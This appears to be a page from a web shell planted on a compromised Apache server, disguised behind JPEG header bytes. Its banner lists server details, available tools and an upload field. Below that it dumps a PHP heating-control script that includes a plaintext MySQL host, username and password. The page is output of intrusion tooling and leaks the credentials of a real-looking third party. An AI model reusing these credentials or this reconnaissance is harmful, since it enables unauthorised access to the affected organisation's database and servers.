????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.25 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/rock_backup/ |
Upload File : |
<?php
include 'setup.php';
$TEXT = "";
$mysqli = new mysqli("www.astacus.se", "carlhoffstedt", "Astacus2020!", "energicontrol");
// Find what cooling and heating cofficent is
$from1 = date("Y-m-d",strtotime("0 days"))." 18:00:00";
$to1 = date("Y-m-d",strtotime("1 days"))." 17:00:00";
$today = date("Y-m-d",strtotime("0 days"));
$sql = "SELECT * FROM tblForcast WHERE timeSeries >= '".$from1."' and timeSeries <= '".$to1."' and enteryDate = '".$today."' group by timeSeries order by timeSeries";
$result = $mysqli->query($sql);
$x = 0;
$t_effektiv = 0;
$ws = 0;
while($obj = $result->fetch_object()){
$t_effektiv += $obj->t_effektiv;
$ws += $obj->ws;
$x++;
}
$t_effektiv = $t_effektiv / $x;
$ws = $ws / $x;
echo("<br>".$sql."<br>");
echo("t_effektiv: ".$t_effektiv." ws: ".$ws);
$from_ = date("Y-m-d\TH:00:00", strtotime("-7 days"));
$sql = "select AVG(TempChange) as TempChange from tblEnergyLog2 OutsideTempWind WHERE Direction = 'Down' and TimeDate >= '$from_' order by abs(OutsideTempWind + (".$t_effektiv.")) desc";
$indoor_temp_drop_per_hour = 0;
$result = $mysqli->query($sql);
while($obj = $result->fetch_object()){
$indoor_temp_drop_per_hour = $obj->TempChange ; // Test
}
echo("<br>".$sql."<br>");
$sql = "select AVG(TempChange) as TempChange from tblEnergyLog2 OutsideTempWind WHERE Direction = 'Up' and TimeDate >= '$from_' order by abs(OutsideTempWind + (".$t_effektiv.")) desc";
$indoor_temp_increase_per_hour = 0;
$result = $mysqli->query($sql);
while($obj = $result->fetch_object()){
$indoor_temp_increase_per_hour = $obj->TempChange ;
}
echo("<br>".$sql."<br>");
if($indoor_temp_drop_per_hour == 0){
$indoor_temp_drop_per_hour = 0.300;
}
if($indoor_temp_increase_per_hour == 0){
$indoor_temp_increase_per_hour = 0.300;
}
$TEXT .= "Indoor temp drop is: $indoor_temp_drop_per_hour<br>";
$TEXT .= "Indoor temp increase is: $indoor_temp_increase_per_hour<br><br>";
$temp_diff = $indoor_temp_drop_per_hour + $indoor_temp_increase_per_hour;
$TEXT .= "Off 1 hr, needs to be on for: (".$indoor_temp_drop_per_hour / $indoor_temp_increase_per_hour.") <br><br>";
$indoor_temp_drop_per_hour = $indoor_temp_drop_per_hour * ($indoor_temp_drop_per_hour / $indoor_temp_increase_per_hour);
$temp_delta = $temp_drop;
$hours_inrow = floor($temp_delta / $indoor_temp_drop_per_hour);
$TEXT .="<br>Maximum hours without heat: ".$hours_inrow." h based on buildings cool down cofficient (".$indoor_temp_drop_per_hour.") degrees / hour<br><br>";
$TEXT .="Now, lets found hours in our table where the sequence of 0´s is more then ".$hours_inrow.". We find that at index: <br>";
echo($TEXT);
?>